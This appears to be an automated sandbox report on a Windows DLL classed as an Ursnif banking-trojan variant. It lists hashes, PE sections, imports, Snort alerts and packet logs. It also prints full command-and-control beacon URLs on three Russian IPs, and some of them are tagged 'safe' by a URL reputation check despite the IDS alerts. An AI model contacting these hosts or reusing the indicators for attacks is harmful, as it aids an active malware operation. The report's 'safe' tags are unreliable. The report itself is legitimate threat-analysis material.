        http://185.31.160.197/drew/YnuOM5xT27p0PmRl1Cwn/sHfpKrHtm3IGAqKf5oE/1_2FQ7swiV75HAr8OQp4_2/FTJuvvpsJ4vrE/5CHodcYH/FvKE3Awud_2FuI6D8RC4vxO/jlBJVJhS1W/kWWybhfV9ayTjhbnf/bYlxgQ0l6E5_/2Be4zTGPJXY/1jOL3CdqlKh9V7/C3fq9ZEtYfl8Q_2BXYnQR/ZutaXynzRXd4iLId/_2BYxjCGmLsaVaV/ijuyPyyQi_2FEga3LP/wr7j4_2Fp/DHPaKLP54f0U3CWbY84f/moy8sWWVBKAm6XbHQuu/smXEt13.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://31.41.44.76/drew/vr_2B0Ss/hnAfqRh8WqONqQTajFZspU1/n47dz3bnIJ/nr8avK457NdUiLqTL/ZRUWzmBgh_2F/l2jCI4l2WIb/ZlcAov2mWHtc4S/IG5qrKW1Ucsl7HXDhkMb1/UuHpO9lWfV8IVisA/sRsBPsEmP9EnOLW/4DYnyZIHkFVSNadLYL/KhWfwPGS0/z_2BGNhOv1Zl_2FVwYsz/N9ptvDeoH0GEOu8UzRp/tA_2FymU7H4cLFwKrxJBW8/lEpnlzJEfo_2B/TkI4tuDd/jl9PFma2CyccawGQrYOkvDD/r_2F6X4O31/J7n.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://185.31.160.197/drew/ppXmNkbUPMM_/2FM2Xr4sEFa/a728DULR3atqUC/bCL0HSUo53lWl2sLhbZts/o4scwq5OfKTrPD7t/UNAyP4fNA8XBP_2/BEX8k2kScpq7rqtuOe/2f7ZPTT_2/F6BHRL3gYxmumqorkkWG/rJZVOQ2zsqPZd1oqtTm/2lWGLTzP5T9wSu9ihKmOOe/sA8wq_2BbQ7ZL/HW_2BHK4/vjbEvpA5pCLOG2sfsa3yOjK/i9jYWumAJ5/a5d9BrpDEc_2B7rVr/UDCuuI34JOdU/BOrtAjLf6_2/FX7Nl_2FoRH3A/XxFg0SxFF/C.jlktrue
        • Avira URL Cloud: safe
        		unknown
        http://185.31.160.197/drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErm/5nEhtgG7Hp2/zbOXjiri8c5UQP/HwViNu2EHfWxjBwk3As1s/29DojuZF5zhJISfQ/H3WqudbNq23cuko/N6r3xnulzXgdgfn7r3/iMzXt36Pz/hTsJCgysUP32NXqzsCHB/WEkiHTP3N6okgNckR9a/O3kCLqh9_2BveKs4VkbfTJ/dliNqPNdIvs8S/MeBvpSBz/csPLNKavKSKaNIKnwbXXUim/YNfJ4.jlktrue
        • Avira URL Cloud: safe
        		unknown

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http://194.116.163.130/rundll32.exe, 00000005.00000003.609463141.000000000329A000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        http://checklist.skypeaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdregsvr32.exe, 00000003.00000002.776504265.00000000031A0000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        http://31.41.44.76/dowsrundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        http://checklist.skype.com/drew/r1seWTzK/XOxSZcrOl0f4RVE_2BbowJB/8sHVIU8mTb/c9kMz3f9VeWHrA7Gd/GR8FsWrundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          http://194.116.163.130/drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/Joregsvr32.exe, 00000003.00000002.776504265.00000000031A0000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://185.31.160.197/regsvr32.exe, 00000003.00000002.776504265.0000000003193000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://185.31loaddll32.exe, 00000000.00000002.777228247.00000000036BC000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.777046166.000000000488C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776713106.000000000512C000.00000004.00000010.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		low
          http://31.41.44.76/rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          http://checklist.skype.com/ESrundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            http://194.116.163.130/drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVrundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://185.31.160.197/drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErrundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.000000000324B000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://185.31.160.197/drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://checklist.skype.com/rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              http://194.116.163.130LRPC-b584c64820c5bc32ecrrundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		low
              http://185.31.160.197/drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSregsvr32.exe, 00000003.00000002.776504265.0000000003193000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              http://checklist.skype.com/drew/49ucuzxCL/CAckapBuE34W4Bfrugrp/ZxmvQlthiLVIAsdIzz7/_2FCoCvOhXj9zOh1Rrundll32.exe, 00000005.00000003.402711889.0000000003289000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://31.41.44.76/drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2Frundll32.exe, 00000005.00000003.609463141.0000000003287000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown

                World Map of Contacted IPs

                • No. of IPs < 25%
                • 25% < No. of IPs < 50%
                • 50% < No. of IPs < 75%
                • 75% < No. of IPs

                Public IPs

                IPDomainCountryFlagASNASN NameMalicious
                31.41.44.76
                		unknownRussian Federation
                		56577ASRELINKRUtrue
                185.31.160.197
                		unknownRussian Federation
                		34300SPACENET-ASInternetServiceProviderRUtrue
                194.116.163.130
                		unknownRussian Federation
                		202423MGNHOST-ASRUtrue

                General Information

                Joe Sandbox Version:36.0.0 Rainbow Opal
                Analysis ID:800174
                Start date and time:2023-02-07 08:26:07 +01:00
                Joe Sandbox Product:CloudBasic
                Overall analysis duration:0h 9m 27s
                Hypervisor based Inspection enabled:false
                Report type:full
                Cookbook file name:default.jbs
                Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                Number of analysed new started processes analysed:21
                Number of new started drivers analysed:0
                Number of existing processes analysed:0
                Number of existing drivers analysed:0
                Number of injected processes analysed:0
                Technologies:
                • HCA enabled
                • EGA enabled
                • HDC enabled
                • AMSI enabled
                Analysis Mode:default
                Analysis stop reason:Timeout
                Sample file name:login.dll
                Detection:MAL
                Classification:mal96.troj.evad.winDLL@10/0@9/3
                EGA Information:
                • Successful, ratio: 100%
                HDC Information:
                • Successful, ratio: 24.3% (good quality ratio 23.4%)
                • Quality average: 80.9%
                • Quality standard deviation: 27.4%
                HCA Information:
                • Successful, ratio: 99%
                • Number of executed functions: 176
                • Number of non-executed functions: 134
                Cookbook Comments:
                • Found application associated with file extension: .dll
                • Override analysis time to 240s for rundll32

                Warnings

                • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
                • Excluded domains from analysis (whitelisted): fs.microsoft.com
                • Not all processes where analyzed, report is missing behavior information
                • Report creation exceeded maximum time and may have missing disassembly code information.
                • Report size exceeded maximum capacity and may have missing behavior information.
                • Report size getting too big, too many NtOpenKeyEx calls found.
                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                • Report size getting too big, too many NtQueryAttributesFile calls found.
                • Report size getting too big, too many NtQueryValueKey calls found.

                Simulations

                Behavior and APIs

                TimeTypeDescription
                08:27:10API Interceptor1x Sleep call for process: loaddll32.exe modified

                Joe Sandbox View / Context

                IPs

                ⊘No context

                Domains

                ⊘No context

                ASNs

                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                SPACENET-ASInternetServiceProviderRUscarica.exeGet hashmaliciousBrowse
                • 62.173.149.10
                Invoice # W0005588 deposit receipt.exeGet hashmaliciousBrowse
                • 62.173.139.250
                scarica.exeGet hashmaliciousBrowse
                • 62.173.149.10
                o6pnVuCxNM.elfGet hashmaliciousBrowse
                • 85.93.137.159
                Generale_Informazione.exeGet hashmaliciousBrowse
                • 62.173.147.43
                Informazion.exeGet hashmaliciousBrowse
                • 62.173.140.150
                Informazion.exeGet hashmaliciousBrowse
                • 62.173.140.150
                informazione_unpacked.bin.exeGet hashmaliciousBrowse
                • 62.173.140.150
                Informazion.exeGet hashmaliciousBrowse
                • 62.173.140.150
                file.exeGet hashmaliciousBrowse
                • 185.31.160.74
                Informazion.exeGet hashmaliciousBrowse
                • 62.173.149.202
                entrat_unpacked.bin.exeGet hashmaliciousBrowse
                • 62.173.138.234
                rW5F8Dsd1j.exeGet hashmaliciousBrowse
                • 62.173.138.234
                entrat.exeGet hashmaliciousBrowse
                • 62.173.138.234
                6pt4ZAbbAV.exeGet hashmaliciousBrowse
                • 62.173.138.160
                finanz.exeGet hashmaliciousBrowse
                • 62.173.138.160
                finanz.exeGet hashmaliciousBrowse
                • 62.173.138.160
                entrat.exeGet hashmaliciousBrowse
                • 62.173.145.223
                entrat.exeGet hashmaliciousBrowse
                • 62.173.145.223
                entrat.exeGet hashmaliciousBrowse
                • 62.173.147.143
                ASRELINKRUGenerale_Informazione.exeGet hashmaliciousBrowse
                • 31.41.44.157
                Informazion.exeGet hashmaliciousBrowse
                • 31.41.44.179
                Informazion.exeGet hashmaliciousBrowse
                • 31.41.44.179
                informazione_unpacked.bin.exeGet hashmaliciousBrowse
                • 31.41.44.179
                Informazion.exeGet hashmaliciousBrowse
                • 31.41.44.179
                Informazion.exeGet hashmaliciousBrowse
                • 31.41.44.158
                entrat_unpacked.bin.exeGet hashmaliciousBrowse
                • 31.41.44.112
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.112
                6pt4ZAbbAV.exeGet hashmaliciousBrowse
                • 31.41.44.122
                finanz.exeGet hashmaliciousBrowse
                • 31.41.44.122
                finanz.exeGet hashmaliciousBrowse
                • 31.41.44.122
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.43
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.63
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.63
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.63
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.60
                entrat.exeGet hashmaliciousBrowse
                • 31.41.44.60
                Ih5Ndh.dllGet hashmaliciousBrowse
                • 31.41.44.51
                registr.dllGet hashmaliciousBrowse
                • 31.41.46.120
                drop.dllGet hashmaliciousBrowse
                • 31.41.44.51

                JA3 Fingerprints

                ⊘No context

                Dropped Files

                ⊘No context

                Created / dropped Files

                ⊘No created / dropped files found

                Static File Info

                General

                File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                Entropy (8bit):5.699805344522906
                TrID:
                • Win32 Dynamic Link Library (generic) (1002004/3) 99.40%
                • Win16/32 Executable Delphi generic (2074/23) 0.21%
                • Generic Win/DOS Executable (2004/3) 0.20%
                • DOS Executable Generic (2002/1) 0.20%
                • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                File name:login.dll
                File size:628736
                MD5:34fe297ae7f34d3062cb6adb5363970a
                SHA1:ab2c8edc316e5e55ce258bcc6f165ec9b7e92e28
                SHA256:9cc3318cdf29c5b6a1c170facbd0e7849b674ecd2072d9741424709e0931f8cf
                SHA512:8629116073b3c7cf6b700e9a3b577b31543a30584538e7d8fe63b78e62938976917c399f3e63f74cb003bd19458d860f74ed77ae3a11cc68f32b296c84bfb442
                SSDEEP:6144:pYQoxugZKqxvBWqg+wyJzYH7nQYorovRQWDRSpPUeinhnBeY:kYqdBWOvNgorDWUUeinhnBt
                TLSH:5FD450AAB9E5FF19C8778478D960F365D02A7C314246484AF3CB36117EB13EC6D42E29
                File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...;^.R...........!................c.....................................................@..........................*..L..

                File Icon

                Icon Hash:71e4b6d46cf8cc13

                Static PE Info

                General

                Entrypoint:0x1001ae63
                Entrypoint Section:.text
                Digitally signed:false
                Imagebase:0x10000000
                Subsystem:windows gui
                Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
                DLL Characteristics:DYNAMIC_BASE, NX_COMPAT
                Time Stamp:0x52ED5E3B [Sat Feb 1 20:51:07 2014 UTC]
                TLS Callbacks:
                CLR (.Net) Version:
                OS Version Major:6
                OS Version Minor:0
                File Version Major:6
                File Version Minor:0
                Subsystem Version Major:6
                Subsystem Version Minor:0
                Import Hash:91d84abb2a106c8482be2981cbb80ded

                Entrypoint Preview

                Instruction
                push ebp
                mov ebp, esp
                cmp dword ptr [ebp+0Ch], 01h
                jne 00007FE7310216F7h
                call 00007FE731021AE9h
                push dword ptr [ebp+10h]
                push dword ptr [ebp+0Ch]
                push dword ptr [ebp+08h]
                call 00007FE7310215A3h
                add esp, 0Ch
                pop ebp
                retn 000Ch
                push ebp
                mov ebp, esp
                sub esp, 0Ch
                lea ecx, dword ptr [ebp-0Ch]
                call 00007FE731020EAAh
                push 10032460h
                lea eax, dword ptr [ebp-0Ch]
                push eax
                call 00007FE731021D54h
                int3
                push ebp
                mov ebp, esp
                sub esp, 0Ch
                lea ecx, dword ptr [ebp-0Ch]
                call 00007FE731008E64h
                push 10031D5Ch
                lea eax, dword ptr [ebp-0Ch]
                push eax
                call 00007FE731021D37h
                int3
                push ebp
                mov ebp, esp
                and dword ptr [10042040h], 00000000h
                sub esp, 24h
                or dword ptr [1004157Ch], 01h
                push 0000000Ah
                call dword ptr [1002A090h]
                test eax, eax
                je 00007FE73102189Fh
                and dword ptr [ebp-10h], 00000000h
                xor eax, eax
                push ebx
                push esi
                push edi
                xor ecx, ecx
                lea edi, dword ptr [ebp-24h]
                push ebx
                cpuid
                mov esi, ebx
                pop ebx
                mov dword ptr [edi], eax
                mov dword ptr [edi+04h], esi
                mov dword ptr [edi+08h], ecx
                xor ecx, ecx
                mov dword ptr [edi+0Ch], edx
                mov eax, dword ptr [ebp-24h]
                mov edi, dword ptr [ebp-1Ch]
                mov dword ptr [ebp-0Ch], eax
                xor edi, 6C65746Eh
                mov eax, dword ptr [ebp-18h]
                xor eax, 49656E69h
                mov dword ptr [ebp-08h], eax
                mov eax, dword ptr [ebp-20h]
                xor eax, 756E6547h
                mov dword ptr [ebp-04h], eax

                Data Directories

                NameVirtual AddressVirtual Size Is in Section
                IMAGE_DIRECTORY_ENTRY_EXPORT0x32aa00x4c.rdata
                IMAGE_DIRECTORY_ENTRY_IMPORT0x32aec0x64.rdata
                IMAGE_DIRECTORY_ENTRY_RESOURCE0x430000x577c4.rsrc
                IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                IMAGE_DIRECTORY_ENTRY_BASERELOC0x9b0000x2264.reloc
                IMAGE_DIRECTORY_ENTRY_DEBUG0x3177c0x1c.rdata
                IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x317980x40.rdata
                IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                Sections

                NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                .text0x10000x282cf0x28400False0.45420467779503104data6.192565941731592IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                .rdata0x2a0000x93c80x9400False0.45280827702702703data5.530507978531817IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                .data0x340000xea3c0xe000False0.8152901785714286data6.660577383256463IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                .rsrc0x430000x577c40x57800False0.04984095982142857data4.297605636911828IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                .reloc0x9b0000x22640x2400False0.7530381944444444data6.606333451306357IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                Resources

                NameRVASizeTypeLanguageCountry
                AFX_DIALOG_LAYOUT0x433480x2dataRussianRussia
                AFX_DIALOG_LAYOUT0x4334c0x2dataRussianRussia
                RT_ICON0x433500x42028Device independent bitmap graphic, 256 x 512 x 32, image size 0
                RT_ICON0x853780x10828Device independent bitmap graphic, 128 x 256 x 32, image size 0
                RT_ICON0x95ba00x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0
                RT_ICON0x981480x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0
                RT_ICON0x991f00x988Device independent bitmap graphic, 24 x 48 x 32, image size 0
                RT_ICON0x99b780x468Device independent bitmap graphic, 16 x 32 x 32, image size 0
                RT_DIALOG0x99fe00x78dataRussianRussia
                RT_DIALOG0x9a0580x40dataRussianRussia
                RT_GROUP_ICON0x9a0980x5adata
                RT_VERSION0x9a0f40x398OpenPGP Public Key
                RT_MANIFEST0x9a48c0x336XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (762), with CRLF line terminators

                Imports

                DLLImport
                KERNEL32.dllFindNextFileA, SleepEx, ExitProcess, GetTickCount, GetSystemDirectoryA, FreeLibrary, GetProcAddress, LoadLibraryExA, GetCommandLineA, CreateDirectoryA, GetTickCount64, VirtualAlloc, GetCurrentDirectoryA, GetFileAttributesA, FindFirstFileA, GetCurrentThreadId, GetModuleHandleA, lstrcmpA, lstrcmpiA, lstrlenA, CloseHandle, CreateFileW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, FindClose, GetCurrentProcess, GetEnvironmentStrings, WriteFile, FlushFileBuffers, SetStdHandle, HeapReAlloc, HeapSize, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RaiseException, RtlUnwind, InterlockedFlushSList, GetLastError, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, MultiByteToWideChar, LCMapStringW, MoveFileExW, DecodePointer, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineW, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetStdHandle, GetFileType, GetStringTypeW, WriteConsoleW
                USER32.dllCloseWindow, DestroyWindow, PostQuitMessage, DefWindowProcA, SendMessageTimeoutA, CreateDialogParamA, FindWindowA
                ADVAPI32.dllRegEnumKeyA, RegOpenKeyA
                SHLWAPI.dllStrToIntA, PathAppendA, PathFileExistsW, PathFindSuffixArrayA

                Exports

                NameOrdinalAddress
                DllRegisterServer10x10018380

                Possible Origin

                Language of compilation systemCountry where language is spokenMap
                RussianRussia

                Network Behavior

                Snort IDS Alerts

                TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                192.168.2.3185.31.160.19749700802033203 02/07/23-08:28:42.568213TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970080192.168.2.3185.31.160.197
                192.168.2.3185.31.160.19749698802033204 02/07/23-08:28:33.230644TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4969880192.168.2.3185.31.160.197
                192.168.2.3185.31.160.19749698802033203 02/07/23-08:28:33.230644TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4969880192.168.2.3185.31.160.197
                192.168.2.3194.116.163.13049708802033203 02/07/23-08:29:22.880195TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970880192.168.2.3194.116.163.130
                192.168.2.3185.31.160.19749710802033204 02/07/23-08:30:54.764009TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4971080192.168.2.3185.31.160.197
                192.168.2.3185.31.160.19749710802033203 02/07/23-08:30:54.764009TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971080192.168.2.3185.31.160.197
                192.168.2.331.41.44.7649703802033203 02/07/23-08:28:54.657052TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970380192.168.2.331.41.44.76
                192.168.2.3185.31.160.19749701802033203 02/07/23-08:28:49.502613TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970180192.168.2.3185.31.160.197
                192.168.2.3185.31.160.19749701802033204 02/07/23-08:28:49.502613TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970180192.168.2.3185.31.160.197
                192.168.2.331.41.44.7649702802033204 02/07/23-08:28:53.381020TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970280192.168.2.331.41.44.76
                192.168.2.3194.116.163.13049709802033203 02/07/23-08:29:29.813831TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970980192.168.2.3194.116.163.130
                192.168.2.3185.31.160.19749711802033203 02/07/23-08:30:55.036359TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971180192.168.2.3185.31.160.197
                192.168.2.331.41.44.7649702802033203 02/07/23-08:28:53.381020TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970280192.168.2.331.41.44.76
                192.168.2.3194.116.163.13049706802033203 02/07/23-08:29:13.527448TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970680192.168.2.3194.116.163.130
                192.168.2.3185.31.160.19749699802033203 02/07/23-08:28:34.491511TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4969980192.168.2.3185.31.160.197
                192.168.2.3185.31.160.19749699802033204 02/07/23-08:28:34.491511TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4969980192.168.2.3185.31.160.197
                192.168.2.331.41.44.7649705802033203 02/07/23-08:29:09.669739TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970580192.168.2.331.41.44.76
                192.168.2.331.41.44.7649705802033204 02/07/23-08:29:09.669739TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970580192.168.2.331.41.44.76
                192.168.2.3185.31.160.19749712802033203 02/07/23-08:31:04.384827TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4971280192.168.2.3185.31.160.197
                192.168.2.331.41.44.7649704802033203 02/07/23-08:29:02.729134TCP2033203ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)4970480192.168.2.331.41.44.76
                192.168.2.331.41.44.7649704802033204 02/07/23-08:29:02.729134TCP2033204ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)4970480192.168.2.331.41.44.76

                Network Port Distribution

                TCP Packets

                TimestampSource PortDest PortSource IPDest IP
                Feb 7, 2023 08:28:33.169207096 CET4969880192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:33.229800940 CET8049698185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:33.230026007 CET4969880192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:33.230643988 CET4969880192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:33.291153908 CET8049698185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:33.291228056 CET8049698185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:33.291446924 CET4969880192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:33.293314934 CET4969880192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:33.353441954 CET8049698185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:34.426836967 CET4969980192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:34.490469933 CET8049699185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:34.490736961 CET4969980192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:34.491511106 CET4969980192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:34.554661989 CET8049699185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:34.554759026 CET8049699185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:34.554991961 CET4969980192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:34.555067062 CET4969980192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:34.618314981 CET8049699185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:42.503746986 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.567670107 CET8049700185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:42.567966938 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.568212986 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.631062031 CET8049700185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:42.631141901 CET8049700185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:42.631230116 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.631345987 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.931425095 CET4970080192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:42.994515896 CET8049700185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:49.435668945 CET4970180192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:49.498677015 CET8049701185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:49.499597073 CET4970180192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:49.502613068 CET4970180192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:49.565421104 CET8049701185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:49.566195011 CET8049701185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:49.566420078 CET4970180192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:49.566755056 CET4970180192.168.2.3185.31.160.197
                Feb 7, 2023 08:28:49.629683971 CET8049701185.31.160.197192.168.2.3
                Feb 7, 2023 08:28:53.315227032 CET4970280192.168.2.331.41.44.76
                Feb 7, 2023 08:28:53.380568981 CET804970231.41.44.76192.168.2.3
                Feb 7, 2023 08:28:53.380750895 CET4970280192.168.2.331.41.44.76
                Feb 7, 2023 08:28:53.381020069 CET4970280192.168.2.331.41.44.76
                Feb 7, 2023 08:28:53.445689917 CET804970231.41.44.76192.168.2.3
                Feb 7, 2023 08:28:53.446465969 CET804970231.41.44.76192.168.2.3
                Feb 7, 2023 08:28:53.446655989 CET4970280192.168.2.331.41.44.76
                Feb 7, 2023 08:28:53.446656942 CET4970280192.168.2.331.41.44.76
